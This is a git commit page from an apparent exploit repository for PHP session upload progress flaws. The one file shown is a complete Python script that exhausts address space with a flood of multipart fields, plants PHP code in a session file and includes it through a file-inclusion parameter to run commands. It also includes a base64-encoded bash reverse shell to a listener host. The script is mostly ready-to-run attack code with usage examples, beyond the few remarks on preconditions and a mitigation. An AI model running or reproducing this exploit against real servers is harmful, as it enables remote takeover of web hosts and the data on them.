PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)

Full RCE exploit chain for two critical PHP vulnerabilities in the multipart
parser and session upload progress handler, plus three bypass exploits that
defeat the official security patch (PHP 8.4.27) and all recommended mitigations.

Core exploits:
- CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE
- CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE
- WordPress-targeted wrapper with LFI auto-detection

Patch bypass exploits (confirmed RCE on PHP 8.4.27):
- Race condition: TOCTOU inherent to upload progress feature design
- RLIMIT_AS: mmap() failure bypasses the patched OOM handler
- /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
neko
2026-10-21 11:29:40 -05:00
commit e58bb493af
16 changed files with 3113 additions and 0 deletions
+312
View File
@@ -0,0 +1,312 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
- Soft OOM: deferred to VM safe point (graceful shutdown)
- Hard OOM: immediate _exit(70) when allocation fails during parsing
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
multipart field allocation. This failure goes through a DIFFERENT code path
that the patch does NOT cover:
1. PHP has memory_limit=-1 → no PHP-level OOM possible
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
3. During multipart parsing, mmap() fails when address space is exhausted
4. The failure triggers the OLD vulnerable code path (not the patched one)
5. Worker exits with code 1 (not the patched exit code 70)
6. Session file persists on disk with attacker-controlled PHP code
7. New worker spawns → LFI includes the poisoned session file → RCE
This is relevant in production because:
- Container environments (Docker, k8s) often set memory limits via cgroups
- Shared hosting uses RLIMIT_AS to isolate tenants
- Admins may set memory_limit=-1 trusting OS-level limits instead
- The advisory does NOT mention this bypass path
Requirements:
- PHP-FPM with memory_limit=-1 (or very high)
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
- session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
Usage:
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=120):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
"""Build multipart body designed to exhaust address space via mmap()."""
body = b""
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
body += b"\r\n" + php_code + b"\r\n"
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
body += b"Content-Type: application/octet-stream\r\n\r\n"
body += b"\x00" * 4096 + b"\r\n"
for i in range(field_count):
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
body += b"\r\n" + b"X" * field_size + b"\r\n"
body += b"--" + bnd + b"--\r\n"
return body
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
bnd = b"----RLIMITRCE"
body = build_oom_body(bnd, php_code, field_count, field_size)
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError):
pass
resp = b""
sock.settimeout(30)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except (socket.timeout, ConnectionResetError):
pass
sock.close()
status = 0
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
return status
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
for sp in session_paths:
sess_file = f"{sp}/sess_{sid}"
lfi_url = f"{path}?{lfi_param}={sess_file}"
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
rbody = body_of(resp)
if b"CVE2026:" in rbody:
return rbody, sp
except Exception:
continue
return None, None
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
print(f" Fields : {args.fields} x {args.field_size}B")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
status = phase1_crash(host, port, tls, path, sid, php_code,
args.fields, args.field_size)
print(f" HTTP {status} — worker crashed (mmap failure)")
print(f" Waiting {args.respawn_wait}s for worker respawn...")
time.sleep(args.respawn_wait)
print(f" Phase 2: LFI include of poisoned session file...")
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
sid, spaths)
if rbody is not None:
text = rbody.decode(errors="replace")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
result = m.group(1).strip() if m else text[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print(f"[+] Session path: {found_path}")
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
print("[+] Affects: containers with cgroup limits, shared hosting with")
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
print("[+] Mitigation: session.upload_progress.enabled=0")
return
print(f" Session file not found or already cleaned")
print()
print("[!] All attempts failed.")
print(" Possible causes:")
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
print(" - Session save path not in search list → use --session-path")
print(" - Worker respawn too slow → increase --respawn-wait")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
mmap() fails through a DIFFERENT path the patch doesn't cover.
Preconditions:
- Target uses memory_limit=-1 (trusting OS limits)
- OS enforces RLIMIT_AS or cgroup memory limit
- session.upload_progress.enabled=1 (default)
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--fields", type=int, default=10000,
help="Number of multipart fields (default: 10000)")
ap.add_argument("--field-size", type=int, default=8192,
help="Size of each field value in bytes (default: 8192)")
ap.add_argument("--respawn-wait", type=float, default=3.0,
help="Seconds to wait for worker respawn (default: 3.0)")
ap.add_argument("--attempts", type=int, default=3,
help="Number of attempts (default: 3)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()